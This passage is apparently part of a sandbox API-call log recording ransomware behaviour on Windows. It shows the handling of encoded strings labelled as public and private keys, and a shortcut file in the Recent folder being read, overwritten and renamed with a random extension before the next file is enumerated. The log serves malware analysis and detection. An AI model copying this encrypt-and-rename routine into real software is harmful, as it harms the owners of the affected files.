uesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0082.417] GetCurrentThreadId () returned 0xa30 [0082.417] GetCurrentThreadId () returned 0xa30 [0082.417] GetCurrentThreadId () returned 0xa30 [0082.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.418] GetCurrentThreadId () returned 0xa30 [0082.418] GetCurrentThreadId () returned 0xa30 [0082.418] GetCurrentThreadId () returned 0xa30 [0082.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nASdIGvuK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nasdigvuk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.418] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.418] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.418] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x2035 [0082.419] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.419] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x2035, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x2035, lpOverlapped=0x0) returned 1 [0082.420] CloseHandle (hObject=0x124) returned 1 [0082.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nASdIGvuK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nasdigvuk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.423] WriteFile (in: hFile=0x124, lpBuffer=0x1f90730*, nNumberOfBytesToWrite=0x2035, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90730*, lpNumberOfBytesWritten=0x18f978*=0x2035, lpOverlapped=0x0) returned 1 [0082.425] CloseHandle (hObject=0x124) returned 1 [0082.428] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nASdIGvuK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nasdigvuk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nASdIGvuK.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nasdigvuk.lnk.zv7un")) returned 1 [0082.430] GetCurrentThreadId () returned 0xa30 [0082.430] GetCurrentThreadId () returned 0xa30 [0082.430] GetCurrentThreadId () returned 0xa30 [0082.430] GetCurrentThreadId () returned 0xa30 [0082.430] GetCurrentThreadId () returned 0xa30 [0082.430] GetCurrentThreadId () returned 0xa30 [0082.430] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe104cba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe104cba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe104cba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ngYhIzBqjK2r.lnk", cAlternateFileName="NGYHIZ~1.LNK")) returned 1 [0082.430] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.430] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.431] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ngYhIzBqjK2r.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ngyhizbqjk2r.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe104cba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe104cba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe104cba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3fc)) returned 1 [0082.431] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ngYhIzBqjK2r.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ngyhizbqjk2r.lnk")) returned 0x20 [0082.431] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ngYhIzBqjK2r.lnk", dwFileAttributes=0x80) returned 1 [0082.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.433] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.435] GetCurrentThreadId () returned 0xa30 [0082.435] GetCurrentThreadId () returned 0xa30 [0082.435] GetCurrentThreadId () returned 0xa30 [0082.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 